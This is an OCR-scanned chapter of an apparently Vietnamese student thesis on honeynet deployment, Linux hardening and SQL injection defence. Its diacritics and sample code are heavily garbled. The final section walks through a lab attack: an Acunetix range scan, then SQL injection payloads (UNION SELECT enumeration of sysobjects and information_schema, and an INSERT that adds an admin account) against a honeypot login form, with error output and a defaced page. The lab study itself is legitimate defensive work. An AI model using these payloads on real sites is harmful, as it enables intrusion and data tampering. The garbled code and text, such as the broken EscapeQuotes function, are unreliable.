3.3.3.1.Kiém soét chat ch& dir liéu dau vao

Pé phong tranh cac nguy co c6 thé xay ra, hdy bao vé cac cau lénh SQL bang cach
kiém soat chat ch& tat ca cac dir liéu nhap nhan duoc tir d6i twong Request (Request,
Request.QueryString, Request.Form, Request.Cookies, and Request.ServerVariables).
Vi dy, c6 thé giéi han chiéu dai caa chudi nhap liéu hoic xay dung ham EscapeQuotes
dé thay thé cac dau nhay don bang 2 diu nhay don nhu:
<%

Function EscapeQuotes(sinput)
slnput = replace(slnput, """, "™ """
EscapeQuotes = sinput

End Function
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%>

Trong truong hop dit liéu nhap vao 1a sd, 15i xuét phat tir viéc thay thé mot gia tri
dugc tién doan 1a dir liéu s6 bang chudi chira cau Iénh SQL bat hop phap. Bé tranh
diéu nay, don gian 12 kiém tra dit liéu c6 dung kiéu hay khong bang ham IsNumeric().

3.3.3.2.Thiét 1ap ciu hinh an toan cho hé quan tri co s& dit liéu

Cén c6 co ché kiém soat chat ché va gidi han quyén xir i dir liéu dén tai khoan
nguoi dung ma ung dung web dang st dung. Cac ung dung thong thuong nén tranh
dung dén céc quyén nhu dbo hay sa. Quyén cang bi han ché, thiét hai cang it.

Ngoai ra dé tranh cac nguy co tir SQL Injection attack, nén chd y loai bo bat ki
thong tin ki thut ndo chira trong thong diép chuyén xudng cho ngudi ding khi ¢ng
dung c6 18i. Cac théng bao 15i thong thudng tiét 16 cac chi tiét ki thuat cd thé cho phép
ké tan cong biét dugc diém yéu cua hé thong.

Két luan: do thoi gian thuc hién dé tai c6 han, vi vy chuong nay chi trinh bay mot
s6 ky thuat tin cong dugc xem 1a hay gap va cd mic do nguy hiém cao. Trong cac k¥
thuat tin cong trinh bay ¢ trén thi tin cong SQL-Injection 13 thuong gip hon ca. Do do
& phan kiém tra hé théng Honeynet thdng qua viéc khai thac 16 hong dugc dua trén

kich ban tan céng SQL-Injection.
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CHUONG IV: TRIEN KHAI - CAI PAT - KIEM TRA HE THONG

4.1.BAO MAT VA TOI UU HOA HE THONG LINUX

Trude khi buéc vao viéc trién khai hé thdng Honeynet, cong viéc ciing khong kém
phan quan trong 1 viéc bao mat va tbi uu héa hé théng Linux nham tranh tinh trang bi
hacker loi dung 15 hong cua hé thdng dé khai thac thong tin, danh cap di liéu. Sau day
s& 1a mot s6 budce can thiét nham giir an toan cho hé théng may chu Linux.

4.1.1.M4 hoa dix liéu dwoc truyén di

Bat ky ai nam trén cing mot mang déu c6 thé s dung maot trinh bat goi tin (packet
sniffer) dé tom ldy cac thong tin (nhu thong sb cau hinh mang, username, password,
cau lénh, file, ...) chua dugc ma hoa duoc gui bdi cac chuong trinh nhu FTP, Telnet,
Rlogin/Rsh. Giai phap chung cho viéc nay la chuyén sang st dung cac chuong trinh
nhu OpenSSH , SFTP, hoac FTPS.

4.1.2.Giam t6i thiéu cac goi phan mém dwgrc cai dit

Hay tranh cai dit cac g6i phan mém khong can thiét dé tranh nguy co 16 hong an
chtra trong cac phan mém d6 bi khai thac. Sir dung céc trinh quan 1y géi nhu yum, rpm,
apt-get, dpkg... dé xem tat ca cac gbi dd cai trén hé théng. Sau do, xda bo cac goi
khéng can thiét.

Péi voi Redhat-based Distro

# yum list installed

# yum list packageName

# yum remove packageName
Hoac vai Debian-based Distro

# dpkg —list

# dpkg —info packageName

# apt-get remove packageName
4.1.3.M&i dich vu mang chay trén mét hé théng thuc (hoic may 40) riéng biét
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Nén chay cac dich vu mang khac nhau trén cac server tach biét nhau. Diéu nay gilp
giam thiéu rui ro cac dich vu sé& bi “chét chum” khi chung nam trén cing maot server.
Vi du, néu mot hacker cd thé khai thac thanh cong mot 16 hong cua phan mém nhu
Apache, hin s& c6 toan quyén truy cap vao server va gay anh huong cho céc dich vu
khac nhu MySQL, e-mail nam trén ciing server véi Apache.

4.1.4.Cap nhat diy da, thwong xuyén cho Linux kernel va cac phan mém khac

Ap dung cé4c ban va bao mat 1a mot céng viéc quan trong trong ké hoach bao tri
Linux sever. Linux cung cap tat ca cac cong cu can thiét dé dam bao hé théng cua ban
ludn dugc cap nhat, déng thoi gitp nang cap dé dang gitra cac phién ban. Ban nén kiém
duyét va &p dung tat ca cac ban cap nhat ngay khi cé thé. St dung yum, apt-get... dé
thuc hién viéc cap nhat nay.

# yum update
hoac
# apt-get update && apt-get upgrade

4.1.5.Quan ly tai khoan ngwéi dung va chinh séch mat khau manh

Sir dung Iénh useradd/usermod dé tao va quan ly cac tai khoan ngudi ding. Hay
dam bao rang viéc &p dung chinh sach mat khau manh. Vi du, mot mat khau manh bao
gom it nhat 8 ky tu va két hop ca chir céi, chir s6, ky tu dic biét, chir hoa, chir
thuong. .. Nhung hau hét moi ngudi déu chon mot mat khau dé ghi nhé. Biéu nay tao
co hoi dé hacker sur dung cac cong cu nhu John the ripper dé do tim cac mat khau yéu
trén server cua ban. Cau hinh file pam_cracklib.so dé thuc thi chinh sdch mat khau ma
ban mong mudn.

4.1.5.1.Thoi gian tdn tai cua mat khau (password aging)

Lénh chage cho phép thay ddi sé ngay gitta c4c lan thay doi mat khau va ngay
thay doi mat khau l1an cudi. Dua vao hai thong tin nay, hé thong s& xac dinh xem khi
nao ngudi dung can thay doi mat khau cua ho. File /etc/login.defs ciing bao gém céu
hinh password aging.

Dé vo hiéu hda password aging, tic 1a mat khau s& khdng bao gio hét han g

Iénh sau:

48


http://www.cyberciti.biz/tips/linux-set-default-password-expiry-for-all-new-users.html

# chage -M 99999 userName
Dé xem thong tin vé thoi gian man han cua mat khau, ga:
# chage -l userName

4.1.5.2.Han ché st dung lai cic mat khau trudc d6

Trong Linux, c6 thé ngan chan tat ca cac nguoi dung sir dung lai cac mat khau
cii, da ting st dung trude d6. Tham sb remember caa module pam_unix cho biét sb
luong cac mat khau trude d6 sé khong duoc sir dung lai.

4.1.5.3.Khoa tai khoan sau mét sb lan ding nhap that bai

Trong Linux, c6 thé st dung lénh faillog dé hién thi cac ban ghi hodc dé thiét
lap gi6i han s6 lan dang nhap that bai. Bé ma khoa cho tai khoan sau khi tai khoan nay
bi khoa sau mot sé lan ding nhap that bai, gd:

# faillog -r -u userName //-reset = -r

Luu ¥: ¢6 thé sir dung lénh passwd dé khoa hozc mé khoa tai khoan

# passwd -l userName //khoéa tai khoan

# passwd -u userName //m¢ khoa tai khoan

4.1.5.4.X4c dinh céc tai khoan stir dung mat khau rdong

G0 1énh sau:

#awk -F: (82 == ") {print}’ /etc/shadow
Khoa tai khoan c6 mat khau rong

# passwd -l accountName

4.1.5.5.Dam bo ring khong ¢6 neudi dung thdong thudng ndo cé UID =0

Chi c6 tai khoan root c6 UID =0 véi quyén han cao nhat dé truy cap vao hé
théng. G 1énh sau dé hién thi tat ca céc tai khoan véi UID = 0
# awk -F: “($3 == “0") {print}’ /etc/passwd
S& thay it nhat mot dong twong tng véi tai khoan root nhu sau:
root:x:0:0:root:/root:/bin/bash
Truong thi 3 cho biét gia tri UID. Néu c6 thém céc tai khoan khac ¢6 UID =0, hay
dbi lai UID cho nhirng tai khoan nay sir dung Iénh sau:

# usermod —u new_UID userName
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4.1.6.Dwrng bao gio dang nhap vei tai khoan root
Han ché téi da dang nhap véi tai khoan root. Thay vao d6, nén st dung sudo dé
thuc thi cac 1énh véi quyén root khi can thiét ma khong can phai cung cap mat khau
ctia root. Ngoai ra, sudo ciing cung cap cac tinh ning auditing va tracking gitp ban biét
duogc nguoi dung da chay nhirng Iénh sudo nao.
4.1.7.Bao mat vat ly cho may cha
Cau hinh lai BIOS va v6 hiéu hoa viéc khai dong tir céc thiét bi ngoai vi nhu
DVD/CD/USB. Nén dit mat khau bao vé cho GRUB. Nhitng may cha quan trong can
duoc khoa can than trong cac IDC (Internet Data Center) va tat ca moi ngudi phai trai
qua cac buéc Kiém tra an ninh trude khi truy cap vao server cua ban.
4.1.8.Tat hét cac dich va khong can thiét
Phai can loai bo tit ca céc dich vu (service hoic daemon) khdng can thiét khoi qué
trinh khoi dong cua hé thong. Dicu nay giup gia ting toc do hoat dong ciing nhu su 6N
dinh caa hé thong va quan trong hon 1a gitp server giam thiéu duoc nguy co bi tan
cong bé mat (surface attack) vao céac dich vy an chtia 16 hong. St dung Iénh chkconfig
dé liet ké tat ca cac dich vu dugc khoi chay ciing hé théng & runlevel 3
# chkconfig —list | grep '3:on’
Pé tat mét dich vu nao ds, go:
# service serviceName stop
Hoac
# chkconfig serviceName off
4.1.9.Go bé X Windows
Thanh phan d6 hoa X Windows that khdng can thiét chay trén Linux server. Khéng c6
ly do nao lai chay X Windows trén Mail server hoac Apache web server . Chung ta co
thé loai bo hoan toan X Windows dé nang cao hiéu suat hoat dong va bao mat cho
server theo cac budc sau:
- Chinh sira file /etc/inittab dé thiét 1ap cho Linux khai chay & runlevel 3.

- Xoba X Windows system bang Iénh yum
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# yum groupremove “X Window System”
4.1.10.B4o vé Linux kernel véi /etc/sysctl.conf
File /etc/sysctl.conf dugc str dung dé cu hinh cac tham sb cho kernel tai thoi diém
kernel duoc thuc thi. Linux doc va ap dung cac thiét 1ap trong file nay tai qué trinh
khéi dong. Duéi day 1a ndi dung mau cua file /etc/sysctl.conf
# Turn on execshield
kernel.exec-shield=1
kernel.randomize_va_space=1
# Enable IP spoofing protection
net.ipv4.conf.all.rp_filter=1
# Disable IP source routing
net.ipv4.conf.all.accept_source_route=0
# Ignoring broadcasts request
net.ipv4.icmp_echo_ignore_broadcasts=1
net.ipv4.icmp_ignore_bogus_error_messages=1
# Make sure spoofed packets get logged
net.ipv4.conf.all.log_martians =1
4.1.11.Chia tach céac phan ving 6 cirng
Téch biét cac file cua hé diéu hanh khoi cac chuong trinh, dir liéu ca nhan cua
nguoi dung. Hay noi cach khac, dat cc loai dit li¢u nay trén cac phan vung khac nhau,
s& gilip hé thdng chay 6n dinh va an toan hon. Pam bao rang céc tap tin hé thong dudi
day duoc gan (mount) trén cac phan ving riéng ré:
lusr
/home
Ivar va /var/tmp
/tmp
Tao thém céac phan vung tach biét cho Apache va FTP server. Chinh sua file

Jetc/fstab va chic rang di thém vao céc tiiy chon cau hinh sau:
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- noexec: Khéng gan quyén thuc thi (execute) cho céc file nhi phan (binary)
trén phan ving nay. Diéu ndy s& ngin can viéc thyc thi file binary nhung cho
phép chay céac script.

- nodev: Khdng cho phép (hoic dién dich) céc thiét bi kiéu character hoic thiét
bi kiéu block trén phan viing nay.

- nosuid: Cac SUID/SGID s& mat hiéu lyc trén phan ving nay.

Vi du, mot dong mau trong file /etc/fstab dudi day s& gidi han viéc truy cap cua
ngudi ding trén phan ving /dev/sda5 (thu muc goc trén FPT server):

/dev/sda5 /ftpdata ext3 defaults,nosuid,nodev,noexec 1 2

4.1.12.Tam thoi tat IPv6

Internet Protocol version 6 (IPv6) 1a mot giao thirc mai hoat dong o tang Internet
cua bo giao thirc mang TCP/IP. IPv6 dang dan thay thé cho IPv4 do nhitng loi ich ma
n6 mang lai. Hién tai, van chua c6 cong cu tot ndo co thé kiém tra cac van dé bao mat
trén hé thong hd trg IPv6. Hau hét cac Distro Linux da bat dau hd tro giao thic 1Pv6.
Céc cracker co thé gui cac luu luong doc hai thong qua IPv6 vi hau hét cac quan tri
vién chua giam sat cac luu lwong IPv6 nay. Vi thé, trir khi hé théng mang yéu cau st
dung IPv6, t6t nhat ban nén tam thoi vo hiéu héa IPv6 hoic ciu hinh trén Firewall dé
can loc cac goi tin IPv6.
4.2.MO HINH TRIEN KHAI

Do diéu kién khach quan thiéu thiét bi, khong cd dia chi IP tinh. Nhom dé tai da

trién khai hé théng Honeynet trén hé théng may ao.
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Honeywall

]
| |
| |
| |
| |
| |
| |

‘ 192.188.1.11/24 : etho ethi 192.188.1.10124 [ :
éi“‘ ' d = '
z | - T - |
| [

| |

| [

| |

| |

| |

| |

| |

Hacker eth2 | 172.16.1.10/24 Honeypot

17216.1.11/24

Hinh 4.2 - M6 hinh trién khai trong dé tai

Bang cAu hinh cac thanh phan trong Honeynet

Loai Hé diéu hanh

Server (Honeynet gateway){3 card mang} | Honeywall Roo 1.4

Web Server (Honeypot) Windows server 2003
Client (Management) Windows XP SP3
Client (Hacker) Windows XP SP3

4.3.CAI PAT VA CAU HINH HE THONG HONEYNET
4.3.1.Cai dit va cau hinh Honeywall
Budc cai dat Honeywall kha don gian, sau khi bo dia Honeywall CDROM vao va
boot tir CD, s& xuat hién man hinh cai dat va canh béo dit liéu trén 6 ciing sé bi x6a hét.

Néu ddng y chi can gd phim Enter va sau d6 qua trinh cai dit s& duoc dién ra ty dong.
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The Honeynet

PEREBOERIBRERCET

Honeynet Pro ject Honeywall Install CDROM
ROO Version 1.4

B1318131812 181218 812 813 1210 210218 812 812 1210 2R IR iR 212 812 121210 IR IR 210 R IR 12101210 2100014
i #
# Continuing will overwrite ex18t1ng Hard Drive(s) #
BI3i2121 012181218 BIR 012 I3 R 2 R R iR R IR R IR R IR 2RI IR IR IR IR B IR B IR B IR B IR 121012 1012100004

Hit (return) key to overwrite existing hard drive...

Hinh 4.3.1a - Man hinh canh bao va cai dat Honeywall

| Package Iwnstallation

Name ! grub-8.97-13.2-i386
Size : 1832k
Summary: GRUB - the Grand Unified Boot Loader.

Packages Bytes Time
Total : 366 628M A:81:26
Completed: 118 162M A:868:22
Remaining: 248 466M A:681:83

25

{Tab>s<Alt-Tab> between elements i <Space> selects i <F12> next screen

Hinh 4.3.1b - Qua trinh cai dat Honeywall
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Sau khi cai dat xong hé thng s& tu khoi dong lai va xuat hién nhu hinh 4.3.1c.
Mic dinh hé théng sé c6 hai tai khoan roo va root, dé dam bao an toan phai dang nhap
vao roo trudc sau d6 méi dung 1énh su - dé chuyén vao root va cau hinh. Cau hinh
Honeywall c6 hai cach: bang giao dién d6 hoa va dong Iénh, vé ban chat thi n6 giéng
nhau. Giao dién dong Iénh s& cau hinh tai tap tin /etc/Honeywall.conf. O day nhom s&

cau hinh bang giao dién d6 hoa.

oneywall roo-1.4.hw-20898425114538
Kernel 2.6.18-128.1.6.e15 on an i686
localhost login: _

Hinh 4.3.1c - Man hinh ding nhap hé thdng

55



Honeywall CD
Main Menu

Status

03 Administration
Honeywall Administration
Documentation

Exit

Manage the configuration of the Homneywall

Hinh 4.3.1d - Man hinh c4u hinh hé thong

Initial Setup
Initial Setup Method

1 Floppy
Z Defaults

| IInterview

<Cancel>

Go through interactive setup

Hinh 4.3.1e - Lya chon phuong thirc cau hinh
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Honeypot IP Address
Enter the IP Address(es) of your Honeypot(s)

[192.168.1.18_

il <Return to main menu’>

Hinh 4.3.1f - Bia chi IP cua cac Honeypot

Management Interface IP Address
Enter the IP address of the management
interface

l;72.15.1.1a

{Cancel>

Hinh 4.3.1g - bia chi IP card quan ly
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Conf igure Sebek Variables
Enter the destination IP address of the
sebek packets.

[192.163.1é253

{Cancel>

Hinh 4.3.1h - Dia chi IP dich cua goi tin Sebek

Conf igure Sebek Variables
Enter the destination udp port of the
sebek packets.

l;1a1

{Cancel>

Hinh 4.3.1i - Cong dich ctia goi tin Sebek
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he latest information about MyS{L is awvailable on the web at
http: /7w .mysgl.com
[Support MyS(L by buying support-slicenses at http:- - shop.mysqgl.com
1

[Starting My3QL:

Op Msg_type
.command check status
flow check status
Lids check status
.ids_=ig check status
.08 check status

.process check status
.process_to_com check status OK
.process_tree check status 0K
.shk_loss check status
.dbschema check status
.SENsOr check status
.sys_read check status
.sys_open check status
.sys_socket check status OK
.sys_wurite check status OK
Installing HFlow DB:
[Stopping My3QL:

Hinh 4.3.1j - Hé théng khai dong lai sau khi cau hinh

A Honeywall Login - Microsoft Internet Explorer

File Edit View Favorites Tools  Help ;f'

OBack - .ﬂ g | 7 Search Favorites  {0<) = :“

Address | @] https:[f172.16.1.10f

The Ho“e _nEt Honeywall Login Fri Feb 10 13:20:20 2012
) C

’ T

PEREBOFIERE

User Marme:

Password:

&] Done S @ Internet
LS 120 PM

all Lagin - Mic, ..

Hinh 4.3.1k - Man hinh dang nhap walleye tr may quan ly
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<A https://172.16.1.10/walleye. pl?act-overview - Microsoft Internet Explorer

CEX

Flle Edit ‘Wiew Favorites Tools  Help

eBack | |ﬂ @ _;\J /-._\JSearch ‘:','1:/ Favorites 6‘3 < - k,; :‘j
Address @lhttps:,l',l'l?z.16.1.1D,l'walleye.pl?act=overview 4
The Honeynet

Data Analysis Systemn Admin Documentation

Honeywall: 1007998568 Created: Fri Feb 10 04452:50 2012 Last Update: Fri Feb 10
O&:18:40 2012
Bidirectional Flows Total Flows P
In Cut In oot
con  ids  eom ids con ids con ids toon
1 o a o a ) a 11 a I

Hour B0 14200 22100 G200
Hozu‘: w W w W w W i W [ kButes Transfered [llN-10 Alerts

Tirme LA, o
stane (P20 32012 06:23:39 & Feb 102012 06:23:39

IF Proto [ ANy v
ener | | [
Prefix Bort
Source | | [
Prefix Bort
Destination | | I:I
Prefix Part
Result Format | Pcap File V|
-
2 S @ Internet

—_— -
iy Start [ n X https:ff172, . I L 9 123EM

Hinh 4.3.11 - Giao dién phan tich dix liéu

4.3.2.Cai dit va cau hinh Sebek (client)

Viéc cai dat Sebek client nham muc dich guri dir lidu vé cac hanh dong cua hacker
trén Honeypot vé Sebek server dé ngudi quan tri phan tich. Viéc cai dat trén kha don
gian, chi can tai tap tin cai dat Sebek-Win32-latest.zip tir trang cha va giai nén ra.
Chay file Setup.exe va sau d6 chay tap tin Configuration Winzard.exe d cau hinh
cong, dia chi IP dich cua goi tin Sebek, dia chi MAC cua card mang ma Honeywall két

ndi véi Honeypot.
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https://projects.honeynet.org/sebek/attachment/wiki/WikiStart/Sebek-Win32-latest.zip

& C:\Documents and Settings', AdministratoriDesk 18| x|
| v

File Edit Wwiew Favorites  Tools  Help

J Eack = J - o O ek ) Falders | 120 3 S Y | M.
D el bk Configuration Wizard - Server Configuration x
fiddress |@ CriDoc — | B

Server Configuration
Mame = . . . .
- - - Sebek logz all data it collects to a central zerver. Pleaze specify the information
’Conﬁguratlnn Wi

zebek will uze to generate packets the server can collect.
E] License.txk

[Z] README txt

@53tup.exe This field specifies the MAL address to use for all outgoing packets. [f the logging server is
mare than one hop away fron the honeypat, then the Destination MAC should be zet to the
MALC of the default gateway for thiz network,

Destination MALC: Iﬁ :Iﬁ :IF :IH :Iﬁ :ﬁ

Thiz field defines the IP address uzed in all the packets generated by Sebek. Since the
Sebek server dogs nat laok. at the Destination IP address when it collects packets, it is not
required nor recommended to zet this to P of the Sebek, gerver,

Destination |P; I 192 . 188 . 1 . 253

Thig field defines the UDP degtination port to be configured in the Sebek packets. Thiz value
iz uzed by the Server to identify packets of interest.

Destination Port: I'I 1m

< Back I Hewt » I Cancel Help

& Startl |E @ | L c\pocuments and Settin, . ||ﬁ sebek Configuration ... ol SR 153PM

Hinh 4.3.2 - Man hinh c4u hinh Sebek client
4.4 KIEM TRA HE THONG

17216.1.11/24

|
|
|
|
|
|
‘\ 192.168.1.11/24 : ethl |= eth1 192188.1.10/24 =t
;qu::, | o G
— 3 o
| ==
|
|
|
|
|
|
[
|

T T T e T T T T e T T T ]
Honeynet |

|

|

|

Honeywall :

|

|

|

|

Hacker eth2 | 172.18.1.10/2¢ Honeypot |
|

|

|

|

|

|

|

Hinh 4.4 - M6 hinh tin cong, kiém tra hé thong



Hacker sau khi thuc hién do quét trén mang dé tim kiém va phat hién ra Web
Server (dia chi IP 192.168.1.10) caa hé théng va thu thap tat ca cac thong tin trén may
Web Server nay.

Toan bo théng tin qua trinh tin céng cua hacker vao hé théng Honeynet s& duoc
ghi lai day du, chi tiét. Nhirng thdng tin hé théng Honeynet thu thap s& duoc nguoi
phan tich thuc hién phan tich, danh gia dudi sy tro gilp cia céng cu quan |y va ho trg
phan tich Walleye trong Honeynet nham biét dugc qua trinh tin cong cua hacker.

4.4.1.Qué trinh hacker thuc hién tin cong
Pau tién hacker str dung chuong trinh Acunectix Web Vulnerability Scanner 4 d¢
tién hanh quét 13i cac dia chi ip tir 1-254 va cong 80,81,443.

Scan Wizard @

Scan type Scan type

Select whether pou want to gcan a single website, a list or range of websites or whether you want to analyze
the results of & previous crawl.

Scan type
| Here pou can scan a single website, In case you want to scan a single web application and not the
% whale zite pou can enter the full path below. The application supports HTTP and HTTPS websites.
Scan zingle website

“Website LURL:

w|f pou zaved the site structure uzsing the site crawler tool you can use the saved results here. The
(# zcan will load this data from the file instead of crawling the site again.

Scan using saved crawling results
=]

Filenarme: =

rul I case you want ko scan 4 list of websites, you need ta choose this option. Prepare a test fils
cantaining the list of websitez and indicate the path of this file below.

Scan a list of websites from a file

Filenarne: =

‘-) Y'ou can also scan a range of computers. This wizard will inspect this range looking far HTTP and

HT T RS usbeites—rorr-mmayp-salect ndividual websites later after the discovery waz finished.
cah a range of computers laoking for websites
IPrange: [192.168.1.1-254 ) |
acunetix List of ports: [30,81.443 =]

[ Mest » l[ Cancel l

Hinh 4.4.1a - Quét dai IP
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Scan Wizard

an type Select targets

Select targets Fleaze wait until the scanning is finished and then gelect the targets pou want ko scan from the list below.

path. By entering these datailz pou can reduce the szanning time.

List of targets

Fior every target you can enter details such as operating system, webserver, technology or change the bage

192.168.1.10:80 [ lik-D8ddcOc0lcc )

Baze path !

Server banner Microzoft-l5/6.0

Tanget AL http:/#192.168.1.10:80/
Operating system windows

WebServer 15 6.0

Detected custom 404 eror page Mo

Optimize for following technologies

= ﬂ'_ﬂ 92.168.1.11:80 [ lik-ea307c83f2e )

Baze path !

Server banner Microzoft-15/5.1

Target URL http:/#192.168.1.11:80/
Operating system windows

WebServer 15 51

Detected custom 404 eror page Mo

Optimize for following technologies

Statuz : Finished

ac Une“x Running threads : 0

[ < Back H Mext » l[ Cancel

Hinh 4.4.1b - Chon muc tiéu tan céng

Scan Wizard

Scan options

work when gcanning the website,

Scan options

Fini Scanning profile

Lge this scanning profile | default
Crawling options

the general crawler behaviour, you should go to settings.

Stark HTTP sniffer for manual crawling at the end of the process
Get first URL onlyp

v [0 not fetch angthing above start folder

v Fetch files below base folder

v Fetch directony indexes even if not linked

v Submit forms

v Retrieve and process robotz. bt

Case insensitive paths

chnetix v Analyze JavaScript

Here vou can set more options regarding the scan : the profile to be used for scanning, how the crawler will

\,’) Scanning profile will enable/disable different tests [or group of tests] from the test database.
Thiz could speed up the scanning process if you just want ta verify particular information.

lj‘; These options will define the behaviour of the crawler for the current scanz. IF you want to modify

[ < Back ” Mext = ][ Cancel

Hinh 4.4.1c - Tuy chinh cach thirc quét
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[& Acunetix Web Yulnerability Scanner, {Consultant edition)

&)X

File Tools Help

I -
| Mewsean | e 3 0 &

@@ @

[Tools Explorer O E | el 2| startur oz iee. Loy + | Profile:| default s
@ ‘web vulnerability Scanner Sean resuls -
[ web scanner : 5 2 Scan Thread 1 ( http:/#1192.168.1.10:80/ )
o 5 Toals - ¢ 5can Thread 1 { http: /{192, 165, 1. a3
0 site crawler Ml erts (46) s Vulnerability information
'_) Target Finder @ 50L injection (32) =
B3 HTTP editor @ Cross site Scripting (2)
& HTTP sniffer @ Bind SQLPath injection fo Threat level
r-
»5?’ HTTR Fu?zer. @ User credentials are sent in Y Acunetix threat
)’ Authentication tester 0 Braken lirks (2} ) level 3
% Eeportar N @ 115 returns IP address in HT LB LI One or more high-
&0 Compere resuts - D severitvie
Ny N Email address found (3
(=2 Configuration .\@ = wulnerabilities have
4] settings & @ Site Structure bean discovered by
1
i’j scanning profiles ER ) the scanner. A
(=) General (5 images malicious usercan
E Program updates 1 inc exploitthese
&8 Yersion information E aboutl .swf vulnerahilities and
B |icensi compromise the
(@ Licensing [ about_us.asp b ..-..E AAAAAAAAAA A
:éj Support Center < ¥ < ¥
€] How ta purchase
j Ackivity window o
GHDB - Google hacking database w(0.1) is preparing ... A
GHDE - Google hacking database +w(0.1) is executing ...
GHDE - Google hacking database w{0.1) finished.
Finished scanning.
Saving scan resulks bo database ...
Done saving to database.
v
] Application Log |Errar Log  Search Results

Hinh 4.4.1d - Két qua sau khi quét
Sau khi thuc hién do quét hé thong, hacker biét duoc Web server ton tai 16i SQL

Injection, tiép theo hacker thuc hién qué trinh tan cong khai thac 15i SQL Injection.

Qua trinh tin cong SOL Injection:

Sau khi quét dugc 16 hong SQL Injection trén may muc tiéu, hacker tién hanh tiém
ma sgl vao. Dua trén cac dbi twong sysobjects va syscolumns va bang hé thdng
INFORMATION SCHEMA.TABLES dé xac dinh tén bang chtra cac tai khoan quan
tri va céc trudng cua bang nay qua form ding nhap thanh vién cua website ton tai 15i
SQL Injection. Pau tién hacker phai do duoc tén bang chira cc tai khoan bang cach g
vao khung username:

“union select name, 1,1 from sysobjects where name > ‘a’-
Luu y: 6 cot trong hai cAu SELECT phai khép véi nhau. Nghia 1a sé lugng cot trong
cau lénh SELECT ban dau va cau lénh UNION SELECT phia sau bang nhau va ciing
kiéu. Vi ¢ day, ta khong biét s6 luong cac cot cua bang & cau lénh SELECT ban dau
nén ta budc phai tim bang cach lan luot ting thém cac sé '1' vao cau Iénh UNION
SELECT.
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Sau qua trinh do thi cau lénh cudi cung Ia:

“union select name, 1,1,1,1 from sysobjects where name > ‘tbl_u -

E Opera u 8 http: 192,168, 1, 10w, ]u ..+t Hacked by Cuongeeh,., * G

- Fo ] | @ web 192.168.1.10/vwadminglag_res.asp +# | '..‘l -

Microsoft OLE DB Provider for SQL Server error S0040e07
Syntax error converting the nvarchar value thl_users'to a column of data type int.

Heeweweadrmindlog_res.asp, line 16

&0 W 1100 pM

Hinh 4.4.1e - Man hinh 16 bang tbl_users
Sau khi 16 ra bang tbl_users, hacker tiép tuc khai thac cac truong trong bang do
bang cAu lénh bén duéi va khai thac dugc cot STT

union select column_name,1,1,1,1 from information_schema.columns where

table_name="tbl_users'-
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Opera I L8 http:jf192, 1681, 10w, .. >fIu..::Hackedbchongceh...x +

- & 2D = | @ web 192,168, 1, 10fwwawadmin/log_res.asp ¥ | [*g~ |

Microsoft OLE DB Pravider for SCOL Server error S0040e07"
Syntax errar converting the nvarchar value "STT to a column of data type int.

foveeweadmindlon_res.asp, line 16

Hinh 4.4.1f - Man hinh khai thac duwoc cot STT

Dé khai théc tiép céc cot khac trong bang, hacker ding cau lénh:

union select column_name,1,1,1,1 from information_schema.columns where

table_name="tbl_users' and column_name > ‘STT -

E Opera Iu hitp:i152.165. 1. 104w > | A% ..:: Hacked by Cuongeeh... > B3 w \'Z'IIIEIE'I
- -

2 o= | @ web 192,168.1, 10/voewadminglog_res.asp L B 1

Microsoft OLE DE Provider for SQL Server error S0040e07"
Syntax error converting the nvarchar value UserlD' to a colurmn of data type int.

fervervadminflog_res. asp, line 16

Hinh 4.4.1g - Man hinh khai thac cot UserID
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Cur thé hacker sé& thu duoc cac cot: STT, UserlD, UserName, Password, Passlen
bang cau lénh:

“union select * from tbl_users where UserlD ="" group by STT, UserID-

Opera u http: 192, 168.1. 100w, .. ]u .1t Hacked by Cuongeeh.., * BE

€ 5] & web | 192.168.1. 100 wwwadminglon_res,asp o | [2g~
Microsoft OLE DB Provider for SQL Server error S0040e14"

Caolurnn 'thl_users.UserMName' is invalid in the select list because it is not contained in either an aggregate function or the GROURP BY
clause.

Aarwewadrnindlog_res.asp, line 16

Hinh 4.4.1h - Man hinh khai thac cot UserName

Tiép dén hacker s& phai kiém tra kiéu dix liéu caa tirng cot bang cau lénh:

“union select sum(STT) from tbl users-

Néu nhan dugc thong bao: “All queries in an SQL statement containing a UNION
operator must have an equal number of expressions in their target lists”. Thi c6 thé hiéu
la kiéu int. Con néu nhan dugc théng bao: “The sum or average aggregate operation
cannot take a nvarchar data type as an argument” thi c6 thé hiéu 1a kiéu chudi.

Tir d6 hacker s& tiém cau lénh thém user vao co s& dit liéu dya trén nhirng yéu t6
da khai thac la:

‘; insert into tbl users values(9,’a’,’hacker’,’123’,3)-
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E Opera ]l S Users X Iu .11 Hacked by Cuonigeeh... > g g

€ > D o~ | ® web | 192.168.1.10/mumadminjusers.asp v | [~ |
vsl COMPUTER
SCHOOL

ADMINISTRATION AREA
MNews Circle USERS

Users Managerment

Press Artical
FAQ
Corporate
Course Type D [ws012 |
Course Usermarne: | |
Course Detail

Fassword | |

|

Log out Confirm Password: |

; %’ w5010 to
} %’ WS011 thu
; %’ a hacker

Hinh 4.4.1i - Man hinh dang nhap thanh cdng cua hacker vao trang quan tri

Opera J} LW news Circle | A8 ..:: Hacked by Cuongeeh... 63 m Q@@
* 7' Se Googl |

€ 9 D o~ [ ® web | 192.168.1.10

,:' You need to download and install the Adobe Flash Player plug-in to view this page properly. Download Plug-In | | Mever for This Plug-in x

English + Sods - Lién hé

NS
vsl COMPUTER
SCHooL

s Trang Chii | 2 Gi&i Thiéu VSIC | = Tin Tikc | 22 Hé Thong Dao Tao

Tin toc

Théng cdo bdo chi

Xin chao admin ¥SIC (12/2/2012)

* Hehe

Trang web da bi hack thanh cong hehe
= * Bass is here
B - @
._] G tin qua Email Bucsithere
* Bass is here

* Bassis here

~ P

0 & % o At

Az

Hinh 4.4.1j - Man hinh hacker thay d6i noi dung trén Web
4.4.2 Két qua thu thap cia hé thong
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Tt may quan ly ta truy cap vao Honeywall théng qua giao dién Web, sau d6 tién
hanh chon loc dé xem va phan tich géi tin ma hé théng Honeynet thu thap dugc.

3 https:/i172.16.1. 10Awalleye.pl - Microsoft Internet Explorer

Fle Edit View Favorites Tools  Help '

Q- O [x] A& /.:\‘Search 52 Favarites 2)

Address ‘@ https:{i172.16.1, 10jwalleye.pl -

B ks >
~

Online Honeywalls

Honeywall: 1008001200 Crested: FriFeb 10 17:01:45 2012 Last Update: SatFeb 11
312012
Bidirectionzl Flows Totsl Flaws B0
m Sut n out

con ids con  ids  con ids con  ids 1000

10 08,2262,671 0 08,230 2,671 .
Haur 21z00 13z00 24200

24 o 08,2262,671 o 08,220 2,871

[ HGytes N Alents

Hour

